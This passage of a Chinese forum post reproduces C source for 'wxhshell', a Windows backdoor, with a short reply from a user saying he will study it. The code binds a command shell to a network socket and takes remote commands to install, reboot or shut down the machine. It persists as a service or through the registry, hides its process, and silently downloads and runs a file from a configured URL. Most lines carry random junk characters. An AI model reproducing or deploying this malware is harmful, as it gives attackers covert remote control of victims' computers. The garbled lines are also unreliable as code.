  else kTb$lLG\xk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UBaXS_c\  
  } A[Mke  
  else { Pd91<L  
z#tIa  
    switch(cmd[0]) { iq; | i!  
  75# 8P?i  
  // 帮助 Mn0.! J "  
  case '?': { 2)f_L|o,m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _?c.m*)A  
    break; VgH O&vU  
  } 'c35%? ]  
  // 安装 Z.\q$U7'9  
  case 'i': { ;I>nA6A  
    if(Install()) cJ4My#w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJo%j -AM  
    else \O|SPhaIf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B.8B1MFm  
    break; #J[g r_  
    } C`.YOkpj  
  // 卸载 nrl?<4 _  
  case 'r': { ,h*gd^i  
    if(Uninstall()) N*Aw-\Bk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<)CG,/w[M  
    else @>8(f#S%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Nq< o5  
    break; Vebv!  
    } YdhTjvx  
  // 显示 wxhshell 所在路径 r[L.TX3Ah=  
  case 'p': { 9Dx~! (  
    char svExeFile[MAX_PATH]; *qpu!z2m||  
    strcpy(svExeFile,"\n\r"); u[GZ~L  
      strcat(svExeFile,ExeFile); WcN4ff-  
        send(wsh,svExeFile,strlen(svExeFile),0); :aNjh  
    break; -"[4E0g0  
    } /@9Q:'P  
  // 重启 pv]@}+<Dt  
  case 'b': { g NI1W@)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t ed:]  
    if(Boot(REBOOT)) zj`c%9N+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^#_gk uyd!  
    else { k1B ](@xt  
    closesocket(wsh); !1$x4 qxS  
    ExitThread(0); 7<j!qWm0  
    } #HcQ*BiF3  
    break; ,P~e)<.  
    } v$}^$8`  
  // 关机 I-#!mFl  
  case 'd': { u+)!C*ho  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mY 1l2  
    if(Boot(SHUTDOWN)) TNu% _ 34  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EavBUX$O  
    else { B7\4^6Tx  
    closesocket(wsh); @yTu/U  
    ExitThread(0); ZdW+=;/#  
    } /$; Z ~^P  
    break; o-<i+To%  
    } yhH2b:nY(9  
  // 获取shell uX7L1~s-  
  case 's': { FWW4n_74  
    CmdShell(wsh); 0)dpU1B#M  
    closesocket(wsh); (TeH)j!  
    ExitThread(0); (PpY*jKR  
    break; x?Sx cQP  
  } | R,dsBd  
  // 退出 Ab$E@H #  
  case 'x': { )q$[uS_1[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4phCn5  
    CloseIt(wsh); 0AnL]`"t.3  
    break; cj>@Jx}]M  
    } sUF$eVAT  
  // 离开 h[(YH ;Y  
  case 'q': { ^A ]4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ijh RSrCv  
    closesocket(wsh); O@$>'Z  
    WSACleanup(); 2-F7tcya|  
    exit(1); xU\!UVQ/  
    break; /E6)>y66  
        } UC&$8^  
  } ?wtKi#k'v#  
  } xM_#FxJb  
2tz4Ag  
  // 提示信息 +:Zwo+\kSN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /M5.Z~|/  
} kH 9k<{  
  } }w f8y  
sX?arI=_U  
  return; ~D5 -G?%$"  
} ir^d7CV,   
'bfxQ76@sa  
// shell模块句柄 m0G"Aj  
int CmdShell(SOCKET sock) xbiprhdv  
{ ?"b __(3  
STARTUPINFO si; wGO-Z']i  
ZeroMemory(&si,sizeof(si)); H;=yR]E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yyk~!G/@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sD3Ts;k  
PROCESS_INFORMATION ProcessInfo; }%KQrlbHJl  
char cmdline[]="cmd"; "|6(.S+o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S%RxYJ(  
  return 0; b8a (.}8*  
} 6Emn@Mn=  
 ZPf&4#|  
// 自身启动模式 <@7j37,R7V  
int StartFromService(void) za6 hyd^  
{ R655@|RT  
typedef struct R/{h4/+vJ  
{ .3EEi3z6z  
  DWORD ExitStatus; 3g7]$}  
  DWORD PebBaseAddress; 1=]#=)+  
  DWORD AffinityMask; $bp'b<jx  
  DWORD BasePriority; D u<P^CE  
  ULONG UniqueProcessId; ~Dg:siw  
  ULONG InheritedFromUniqueProcessId; @.e4~qz\  
}   PROCESS_BASIC_INFORMATION; 42 `Uq[5Y  
iu{y.}?  
PROCNTQSIP NtQueryInformationProcess; @G& oUhS  
`y'%dY}$n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  3B#fnj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Zx| L/\  
A7QT4h&6  
  HANDLE             hProcess; F]OWqUV  
  PROCESS_BASIC_INFORMATION pbi; `@ Z$+  
}r04*P(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R1*&rjB  
  if(NULL == hInst ) return 0; 5!Er ;e  
# l1*#Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ",YNphjAn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qLBQ!>lR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Ogg(uS70'  
Ez <YD  
  if (!NtQueryInformationProcess) return 0; a[t"J*0  
V xN!Ki=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i@{b+5$  
  if(!hProcess) return 0; Tu:lIy~A  
ruhC:rg:/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fkv284,LM  
W&A^.% 2l  
  CloseHandle(hProcess); + fvVora  
HmXxM:[4;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 89[/UxM)  
if(hProcess==NULL) return 0; 8f,",NCgc  
yJx,4be  
HMODULE hMod; %5ov!nm7  
char procName[255]; } %3;j5 ;6  
unsigned long cbNeeded; 9 'X"a  
N#J8 4i;ry  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l2#~   
!rx5i  
  CloseHandle(hProcess); nJH'^rO!C  
:t;\`gQoS  
if(strstr(procName,"services")) return 1; // 以服务启动 6/a%%1c1  
KYhL}C+  
  return 0; // 注册表启动 pJ?y  
} uxW |&q  
; {m;CKHI  
// 主模块 sVO|Ghy65  
int StartWxhshell(LPSTR lpCmdLine) +MS*YpPW  
{ fN`Prs A  
  SOCKET wsl; |r*y63\T  
BOOL val=TRUE; ~H ctXe'x  
  int port=0; 8pmWw?  
  struct sockaddr_in door; 7x*L 1>[`'  
5=s|uuw/  
  if(wscfg.ws_autoins) Install(); K/&  
Y(JZP\Tf_N  
port=atoi(lpCmdLine); n`Ypv{+ {%  
T5[(vTp  
if(port<=0) port=wscfg.ws_port; Ornm3%p+e  
ziAn9/sT  
  WSADATA data; P@etT8|V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V2Z^W^  
+5ql`C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nCldH|>5w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CJ;D&qo  
  door.sin_family = AF_INET; ~N2 [j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i;2V   
  door.sin_port = htons(port); dDe$<g5L4  
qE^u{S4Z@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8LtkP&Wx  
closesocket(wsl); Lz- (1~o  
return 1; Or1ikI"  
} <t*3w  
yWYsN  
  if(listen(wsl,2) == INVALID_SOCKET) { -z/>W+k  
closesocket(wsl); xG%O^  
return 1; c*8k _o,  
} e ~G IUwJ  
  Wxhshell(wsl); _T^@,!&  
  WSACleanup(); &>@EfW](  
YZ0Q?7l7  
return 0; e<{Ani0  
bmC{d  
} l%cE o`U  
yV@~B;eW0  
// 以NT服务方式启动 r2;+ACwWf_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;>p{|^X0D  
{ uoY]@.  
DWORD   status = 0; U_0"1+jbq  
  DWORD   specificError = 0xfffffff; Yv;iduc('  
6r5<uZ9w_X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &-.2P!t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -1F+,+m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9(9\kQj{C  
  serviceStatus.dwWin32ExitCode     = 0; 7baQ4QY?n  
  serviceStatus.dwServiceSpecificExitCode = 0; y#{> tC  
  serviceStatus.dwCheckPoint       = 0; &W y9%  
  serviceStatus.dwWaitHint       = 0; 2)`4(38  
0o!Egq_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $T'lWD*  
  if (hServiceStatusHandle==0) return; 3}?]G8iL?L  
ue6&)7:~  
status = GetLastError(); *Q3q(rdrp  
  if (status!=NO_ERROR) gDsb~>rb|  
{ sU?%"q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nrZZkQNI  
    serviceStatus.dwCheckPoint       = 0; A3e83g~L  
    serviceStatus.dwWaitHint       = 0; 9<!Ie^o?  
    serviceStatus.dwWin32ExitCode     = status; )e\IdKl=  
    serviceStatus.dwServiceSpecificExitCode = specificError; XgZ.UT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9&KiG* .  
    return; /`B:F5r  
  } y}lqF8s  
8z"*CJ@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7gbu7"Qc  
  serviceStatus.dwCheckPoint       = 0; Pu|3_3^  
  serviceStatus.dwWaitHint       = 0; 7N fA)$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r7:4| 6E  
} xcl8q:  
&qFy$`"  
// 处理NT服务事件,比如:启动、停止 Z:%~Al:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "f`{4p0v  
{ $~.'Tnk)  
switch(fdwControl) >BlF< d`X  
{ n|I5ylt  
case SERVICE_CONTROL_STOP: 7%^ /Jm  
  serviceStatus.dwWin32ExitCode = 0; ^5*9BwH`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ||kUi=5  
  serviceStatus.dwCheckPoint   = 0; )KD*G;<O]L  
  serviceStatus.dwWaitHint     = 0; 39,7N2uY  
  { |`6*~ciUV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H(j983  
  } ],ISWb  
  return; _0e;&2')  
case SERVICE_CONTROL_PAUSE: w+3-j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v|u[BmA)*k  
  break; 3At%TA:  
case SERVICE_CONTROL_CONTINUE: },G5!3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g flu!C6  
  break; LYyOcb[x  
case SERVICE_CONTROL_INTERROGATE: &,~Oi(SX5  
  break; aRF}F E,u  
}; ]eZrb%B .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R<x~KJ11c  
} pbePxOG  
4XXuj  
// 标准应用程序主函数 0T7""^'&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gCY%@?YyN  
{ ify}xv  
Mu]1e5^]  
// 获取操作系统版本 `Kq4z62V  
OsIsNt=GetOsVer(); _"0Bg3Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +(3U_]Lu  
K.K=\ Y2  
  // 从命令行安装 $4a;R I  
  if(strpbrk(lpCmdLine,"iI")) Install(); DNl '}K1W  
o& "nF+,  
  // 下载执行文件 aoVfvz2Y  
if(wscfg.ws_downexe) { xRM)f93@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g/6>>p`J  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Hwlo!  
} `z{sDe;  
m_g2Cep  
if(!OsIsNt) { 3=~0m  
// 如果时win9x,隐藏进程并且设置为注册表启动 8%D 2G i  
HideProc(); {:0TiOP5x  
StartWxhshell(lpCmdLine); NvqIYW  
} \_J;i[  
else a8laP N  
  if(StartFromService()) ~*Kk+w9H<  
  // 以服务方式启动 ;HbAk`\1A  
  StartServiceCtrlDispatcher(DispatchTable); ^6(Nu|6\@  
else ?m>!P@ M  
  // 普通方式启动 [=q&5'FY0  
  StartWxhshell(lpCmdLine); ^J-\s_)"  
SV0h'd(b  
return 0; B78e*nNS#2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八